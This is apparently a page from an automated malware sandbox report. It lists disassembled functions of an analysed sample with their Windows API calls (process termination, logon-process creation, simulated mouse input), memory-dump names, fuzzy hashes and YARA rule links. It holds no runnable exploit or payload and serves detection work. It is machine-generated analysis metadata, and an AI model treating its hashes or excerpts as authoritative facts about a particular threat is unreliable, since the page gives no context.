Instruction ID: 7f5d7ed8fc2ef033cd36b9c82bb8f94f5832aafa6c2d024a824446c2f6770cb9
Opcode Fuzzy Hash: 81986ca9c038916e3dc4566c48a2ae2a1745053f78e0f0129dd3e0c41f587fec
Instruction Fuzzy Hash: 3C516131E10629EFCF11EF54C845AAEB7B5EF58310F108059E915BB351CBB0AE91CB91

Function 0024EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0024EF06
VariantClear.OLEAUT32(00000013), ref: 0024EF78
VariantClear.OLEAUT32(00000000), ref: 0024EFD3
_memmove.LIBCMT ref: 0024EFFD
VariantClear.OLEAUT32(?), ref: 0024F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0024F078

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 4d9a9d1c7467bc140cda961264d67527c9f480d7c274f534d28c17fb47119b6a
Instruction ID: 5cde4e2b83a518caf80fbd0813f9dc925e74f799ad51b1e61de07a3ae426b270
Opcode Fuzzy Hash: 4d9a9d1c7467bc140cda961264d67527c9f480d7c274f534d28c17fb47119b6a
Instruction Fuzzy Hash: 725179B5A10209EFDB14CF58D884AAAB7B8FF8C314B158569E949DB305E330E951CFA0

Function 0025220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00252258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 002522A3
IsMenu.USER32(00000000), ref: 002522C3
CreatePopupMenu.USER32 ref: 002522F7
GetMenuItemCount.USER32(000000FF), ref: 00252355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00252386

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: f7a356937f3265381cbc3129d9e9bf7d63df59ce5f8f25b1831ec2bbd09b1b0b
Instruction ID: 7e0e5ccc1b52c3bbcfa52a2e76084adc4a429cf741db37fafd364b0fda081dc4
Opcode Fuzzy Hash: f7a356937f3265381cbc3129d9e9bf7d63df59ce5f8f25b1831ec2bbd09b1b0b
Instruction Fuzzy Hash: 5F51D07062020AEBCF20CF64D988BADBBF4EF46316F1441A9EC15A72D0D3748A6CCB55

Function 001F1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 001F179A
GetWindowRect.USER32(?,?), ref: 001F17FE
ScreenToClient.USER32(?,?), ref: 001F181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 001F182C
EndPaint.USER32(?,?), ref: 001F1876

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6beb3a0e62a20637e93fe487b4b7c223055d9260b880b7a5e19e62f9b69db661
Instruction ID: a513b21896bf1b5d5d62783bbe2f31ddba8b3a19feb3d217cee0a287ec191c14
Opcode Fuzzy Hash: 6beb3a0e62a20637e93fe487b4b7c223055d9260b880b7a5e19e62f9b69db661
Instruction Fuzzy Hash: 1541CF30104715EFD711DF24EC88FBA7BE8EB59724F140628FAA88B1B1C7309885DB62

Function 0027B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(002B57B0,00000000,010D4AB0,?,?,002B57B0,?,0027B5A8,?,?), ref: 0027B712
EnableWindow.USER32(00000000,00000000), ref: 0027B736
ShowWindow.USER32(002B57B0,00000000,010D4AB0,?,?,002B57B0,?,0027B5A8,?,?), ref: 0027B796
ShowWindow.USER32(00000000,00000004,?,0027B5A8,?,?), ref: 0027B7A8
EnableWindow.USER32(00000000,00000001), ref: 0027B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0027B7EF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 3b879a02fe4d3ad42220e20737a537f30edfa3686d1be1758250022bbafa98f0
Instruction ID: 2570daa4f1e91dac12619acdae7a73f7a3cece12cac042fc56398c1dccef8882
Opcode Fuzzy Hash: 3b879a02fe4d3ad42220e20737a537f30edfa3686d1be1758250022bbafa98f0
Instruction Fuzzy Hash: 68418335604241AFDB2BCF24D599B94BBE1FF45310F1881B9F94C8F6A2C731A866CB50

Function 0026709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00264E41,?,?,00000000,00000001), ref: 002670AC

Part of subcall function 002639A0: GetWindowRect.USER32(?,?), ref: 002639B3

GetDesktopWindow.USER32 ref: 002670D6
GetWindowRect.USER32(00000000), ref: 002670DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0026710F

Part of subcall function 00255244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 002552BC

GetCursorPos.USER32(?), ref: 0026713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00267199

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 187451ce29b009702427fd94880b2301752cbde468dd58faa715a6041675bebb
Instruction ID: c08556a342fdea654f602066f197cc864bca275f01cd2bd194c864b93ab866e8
Opcode Fuzzy Hash: 187451ce29b009702427fd94880b2301752cbde468dd58faa715a6041675bebb
Instruction Fuzzy Hash: 37310472109306ABC720DF14EC49F9BB7E9FF89314F00091AF89897191C730EA99CB92

Function 00248879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002480A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 002480C0
Part of subcall function 002480A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 002480CA
Part of subcall function 002480A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 002480D9
Part of subcall function 002480A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 002480E0
Part of subcall function 002480A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 002480F6

GetLengthSid.ADVAPI32(?,00000000,0024842F), ref: 002488CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 002488D6
HeapAlloc.KERNEL32(00000000), ref: 002488DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 002488F6
GetProcessHeap.KERNEL32(00000000,00000000,0024842F), ref: 0024890A
HeapFree.KERNEL32(00000000), ref: 00248911

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b86d2b753dfe2989d72e652d3799e9a26be8007b979b8391c1b89b88f5813284
Instruction ID: 4cbdc5c63874e32e078e95e98f68f58e34bd1859067a321e981847b1021ef9d0
Opcode Fuzzy Hash: b86d2b753dfe2989d72e652d3799e9a26be8007b979b8391c1b89b88f5813284
Instruction Fuzzy Hash: 1011B13153560AFFDB199FA4DD09BBE7768FB45311F504028E84997210CB329D60DB60

Function 002485B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 002485E2
OpenProcessToken.ADVAPI32(00000000), ref: 002485E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 002485F8
CloseHandle.KERNEL32(00000004), ref: 00248603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00248632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00248646

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 7069a38c27c798916f430ae16a83083bbdca23d12dfd24315af2dc7de2c82ac7
Instruction ID: 56bca422947a59ef638163a11d9b8b37a101f92f5c36843f03c2d6374be010bd
Opcode Fuzzy Hash: 7069a38c27c798916f430ae16a83083bbdca23d12dfd24315af2dc7de2c82ac7
Instruction Fuzzy Hash: C7116D7251424EABDF018FA4ED49FEE7BA9FF08304F054064FE04A2161C7718D60DB60

Function 0024B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0024B7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 0024B7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0024B7CD
ReleaseDC.USER32(00000000,00000000), ref: 0024B7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0024B7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 0024B7FE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: c3fab82f4a23ff4574cd433c3546b8fbea11a65c8af8388d2ef1a0c878c0897d
Instruction ID: a873ebfed3e6329f9fa4a8d8a90d9a988cf98bd8f3153c7aebedd3d336997667
Opcode Fuzzy Hash: c3fab82f4a23ff4574cd433c3546b8fbea11a65c8af8388d2ef1a0c878c0897d
Instruction Fuzzy Hash: E9014475E04219BBEF109FA69D49A5EBFB8EB48761F004075FA08A7291D6719C10CF91

Function 00210162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00210193
MapVirtualKeyW.USER32(00000010,00000000), ref: 0021019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 002101A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 002101B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 002101B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 002101C1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 9c3dacef1683dfdb905cc866684ba7037b1163a3e18cdad244812f300e7b8d24
Instruction ID: 8052dbad7e3b16a9565f4d5aa839f5ccc288029fbe9916a99d304774af1243e9
Opcode Fuzzy Hash: 9c3dacef1683dfdb905cc866684ba7037b1163a3e18cdad244812f300e7b8d24
Instruction Fuzzy Hash: B2016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A864CFE5

Function 002553E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 002553F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0025540F
GetWindowThreadProcessId.USER32(?,?), ref: 0025541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0025542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00255437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0025543E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 4df44e3118a7cac3c5a069c23450d3a6f3ca48e6395cc2f5724d8d1ec0d9f918
Instruction ID: ad4e50593ab3e569ea50a07569378aa77000efe656f4003f61e8270e1c8a6a20
Opcode Fuzzy Hash: 4df44e3118a7cac3c5a069c23450d3a6f3ca48e6395cc2f5724d8d1ec0d9f918
Instruction Fuzzy Hash: B4F09032249158BBE3205BA2ED0DEEF7B7CEFC6B12F000169FA18D1050E7A01A41C6B5

Function 00257230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00257243
EnterCriticalSection.KERNEL32(?,?,00200EE4,?,?), ref: 00257254
TerminateThread.KERNEL32(00000000,000001F6,?,00200EE4,?,?), ref: 00257261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00200EE4,?,?), ref: 0025726E

Part of subcall function 00256C35: CloseHandle.KERNEL32(00000000,?,0025727B,?,00200EE4,?,?), ref: 00256C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00257281
LeaveCriticalSection.KERNEL32(?,?,00200EE4,?,?), ref: 00257288

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 5ec15320f53a920c595be43da2a9e78ad5a2d2428ccc3a60814f17cbb783c0db
Instruction ID: 739b0be33d7856756ec04f572b7314d3f01f1fdc196c5ce0d8a0105c5f46ee23
Opcode Fuzzy Hash: 5ec15320f53a920c595be43da2a9e78ad5a2d2428ccc3a60814f17cbb783c0db
Instruction Fuzzy Hash: 07F09A36148203EBD7911B24FE4C9DA3729FF04312F400132FA06910A2CB761890CA60

Function 00248992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0024899D
UnloadUserProfile.USERENV(?,?), ref: 002489A9
CloseHandle.KERNEL32(?), ref: 002489B2
CloseHandle.KERNEL32(?), ref: 002489BA
GetProcessHeap.KERNEL32(00000000,?), ref: 002489C3
HeapFree.KERNEL32(00000000), ref: 002489CA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 9ce5fe67077fe7edf8e4c34edc2666aab5d67648c2731c531b8ddcfc0e8225ca
Instruction ID: a61e94761fcf04047fbd7ecd1eee43f7f8ac881ba1024479f902456abeadb399
Opcode Fuzzy Hash: 9ce5fe67077fe7edf8e4c34edc2666aab5d67648c2731c531b8ddcfc0e8225ca
Instruction Fuzzy Hash: F2E05276108516FBDA411FF5FE0C95ABB69FB89762B508631F21D82470CB3294A1DB60

Function 00247530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00282C7C,?), ref: 002476EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00282C7C,?), ref: 00247702
CLSIDFromProgID.OLE32(?,?,00000000,0027FB80,000000FF,?,00000000,00000800,00000000,?,00282C7C,?), ref: 00247727
_memcmp.LIBCMT ref: 00247748

Strings

,,(, xrefs: 0024753D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,(
API String ID: 314563124-3264390594
Opcode ID: 6fa1a6cc074dab4c1f0c96285b9e98e1e2b236979799e50943b3e4f92e0c89f5
Instruction ID: 4e0059e69678a606597050a7e1890ae1767569bad5b991d11018db9fc2f780c0
Opcode Fuzzy Hash: 6fa1a6cc074dab4c1f0c96285b9e98e1e2b236979799e50943b3e4f92e0c89f5
Instruction Fuzzy Hash: A0814B71A1010AEFCB04DFA4C984EEEB7B9FF89315F204558E516AB250DB71AE06CB60

Function 002685ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00268613
CharUpperBuffW.USER32(?,?), ref: 00268722
VariantClear.OLEAUT32(?), ref: 0026889A

Part of subcall function 00257562: VariantInit.OLEAUT32(00000000), ref: 002575A2
Part of subcall function 00257562: VariantCopy.OLEAUT32(00000000,?), ref: 002575AB
Part of subcall function 00257562: VariantClear.OLEAUT32(00000000), ref: 002575B7

Strings

Incorrect Parameter format, xrefs: 0026864B, 0026880D
AUTOIT.ERROR, xrefs: 00268728

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 8942c9135975d38d21e968be3da883f9c00ca7cccdf71190b1ca6aa5acee1f90
Instruction ID: e5c4b0c1799d726c4b0c8c8baa57fb4512d8ff3b5656f10711e1a5066b369a12
Opcode Fuzzy Hash: 8942c9135975d38d21e968be3da883f9c00ca7cccdf71190b1ca6aa5acee1f90
Instruction Fuzzy Hash: A991AE74618305DFC710DF24C48496AB7E8FF99314F14896EF98A8B361DB30E995CB92

Function 00252A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0020FC86: _wcscpy.LIBCMT ref: 0020FCA9

_memset.LIBCMT ref: 00252B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00252BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00252C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00252C97

Strings

0, xrefs: 00252B73

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 7c629f574ccc73288afdef37edb5051da1c3f276808b1a3312e60f1793f7ac92
Instruction ID: 13322d567a420383953ae1e8df79f68b86bc793b4c4e5c33d67e5990fd3ea36d
Opcode Fuzzy Hash: 7c629f574ccc73288afdef37edb5051da1c3f276808b1a3312e60f1793f7ac92
Instruction Fuzzy Hash: 7651D131228302DAD7249F28D84566F77E8AF56352F040A2EFC95961D2DB70CD6C8B5A

Function 00203137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00203277
_memmove.LIBCMT ref: 00203310
_free.LIBCMT ref: 00203336
_memmove.LIBCMT ref: 002033E9

Strings

3c , xrefs: 00203225
_ , xrefs: 00203322

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove$_free
String ID: 3c $_
